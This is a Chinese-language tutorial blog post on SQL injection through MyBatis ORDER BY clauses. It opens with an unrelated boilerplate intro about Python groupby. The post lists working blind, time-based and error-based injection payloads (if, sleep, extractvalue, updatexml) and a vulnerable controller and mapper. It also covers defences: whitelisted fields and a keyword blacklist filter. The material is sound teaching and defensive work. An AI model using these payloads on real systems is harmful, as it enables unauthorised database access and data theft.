前言:
此刻我们对“python中groupby”都比较关切,兄弟们都想要剖析一些“python中groupby”的相关知识。那么小编在网上网罗了一些关于“python中groupby””的相关资讯,希望大家能喜欢,大家一起来学习一下吧!起因
因为最近在准备面试的东西,在一天下午面试成都某家公司的时候被问到java的order by注入,当时因为懵了并没有做很好的回答...其实还是因为太过急躁在之前学习SQL注入时并没有深入到代码层面理解各个类型漏洞,造成根基并没有打牢。实际上针对不同类型的漏洞在源码层面有很大的不同,例如php中联合查询一定是存在回显位,即将数据库中查询结果展示;盲注大概率是进行了if判断;报错注入一般存在这类函数print_r(mysql_error())(java中catch (Exception e) { return e.toString(); })等。
order by 注入方式
直接从mybatis框架的注入说起吧
在mybatis中的,使用#包裹的字段在内部进行了预编译处理,而$并没有使用预编译,也就是原生jdbc中
prepareStatement和Statement的区别。
关于order by,当注入点在后面时,是不能连接union的,例如:
select * from users order by user;
在SQL中是不允许union直接跟在order by后面的,所以我们可以考虑使用盲注或报错注入。
利用盲注,也就是看返回值已知字段
使用if条件句,if(1=1,id,user),if函数三个占位,1=1为表达式,也是后续注入主要利用的地方,表达式为真返回以id排序,为假返回user排序,而真假返回的查询结果是不一样的,所以可以通过这种方式注入。
其他的利用方式还有:
select * from users order by (case when (1=1) then user else id end ); //根据user排序select * from users order by (case when (1=2) then user else id end ); //根据id排序select * from users order by ifnull(null,user);select * from users order by ifnull(null,id);select * from users order by rand(1=1);select * from users order by rand(1=2);未知字段
在实际注入时,可能字段并不是我们提前知道的,那么可能就需要用另外的方式了。
同样以if()为例,只需要改下第三个参数使其查询报错select 1 union select 2,第二个参数也需要改为1(true),之前因为没改导致运行时mysql崩了,甚至连mysql服务都给我干关闭了。。。
同样的方式还有:
select * from users order by if(1=1,1,(select 1 from information_schema.tables)); select * from users order by if(1=2,1,(select 1 from information_schema.tables));select * from users order by (select 1 regexp if(1=1,1,0x00)); //正则表达式select * from users order by (select 1 regexp if(1=2,1,0x00)); //0x00为空导致报错select * from users order by (select if((ascii(substr(current,1,1))<0),1,sleep(2)) from (select user() as current) as tb1); //利用sleep延时注入
在使用sleep延时注入需要注意不能直接简单sleep(x),这样实际延时的时间将会是x乘以表内列的字段数量,例如我这里延时2*3秒。
利用报错函数
报错注入的条件是需要服务端代码中将SQL报错语句输出。
主要是利用extractvalue和updatexml
select * from users order by extractvalue(1,(select concat(0x7e,user()))); select * from users order by updatexml(1,(select concat(0x7e,user())),1);select * from users order by (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); //floor报错注入,Duplicate key安全问题
在mybatis中无论是使用xml或者注解编写SQL语句时,都是推荐结合#使用,因为内部使用了预编译,然而在一些特殊场景我们并不能这般,如在like后直接使用#包裹变量在运行时是会报错的,推荐的写法是concat('%',#{q},'%')。
这里推荐一个安全检测插件:MomoSec 可以初步检测一些安全问题
order by 在mybatis中同样不能直接使用#包裹,因为order by后跟的往往是字段名,而预编译在对一个参数使用时会加上引号,字段名是不能加引号的,否则会失去本来的意思;如 order by id ==> order by 'id' ,这也是为什么在排序的位置通常会存在sql注入。
关于order by 并没有很好的解决方案,所以预编译也不是完全安全的,在防御时还应使用其他方法做好防御,如waf和filter。
案例
代码直接使用的这个项目:Hello-Java-Sec
@GetMapping("/vul/order") public List<User> orderBy(String field, String sort) { log.info("[vul] mybaits: order by " + field + " " + sort); return userMapper.orderBy(field, sort);
UserMapper.xml
<select id="orderBy" resultType="com.best.hello.entity.User"> select * from users order by ${field} ${sort} </select>
因为未知列名,使用盲注:结果输出不同
常规的盲注了,python写个脚本即可
上面使用的盲注,springboot项目是默认有报错页面的,所以报错注入也可以
那么代码中是如何防御的呢?
实际上他是在xml中固定化了传入参数,id或user,也就没办法注入了。
但是有个问题,当表内字段很大时我们不可能写很多复杂的匹配判断,所以可以写个filter或waf函数,过滤掉危险字符,所有的用户输入都经过函数过滤也是一种不错的方式。
/** * SQL注入检测 */ public static boolean checkSql(String content) { String[] black_list = {"'", ";", "--", "+", ",", "%", "=", ">", "<", "*", "(", ")", "and", "or", "exec", "insert", "select", "delete", "update", "count", "drop", "chr", "mid", "master", "truncate", "char", "declare"}; for (String s : black_list) { if (content.toLowerCase().contains(s)) { return true; } } return false; }
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